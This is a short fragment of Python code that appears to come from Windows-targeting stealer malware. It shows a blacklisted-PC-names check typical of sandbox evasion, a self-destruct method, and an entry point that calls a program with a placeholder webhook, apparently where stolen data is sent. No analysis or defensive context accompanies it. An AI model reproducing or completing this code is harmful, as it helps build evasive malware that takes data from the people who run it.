in self.blackListedPCNames: return False def self_destruct(self) -> None: program(_WEBHOOK_HERE_) if __name__ == '__main__' and os.name == "nt": program(_WEBHOOK_HERE_)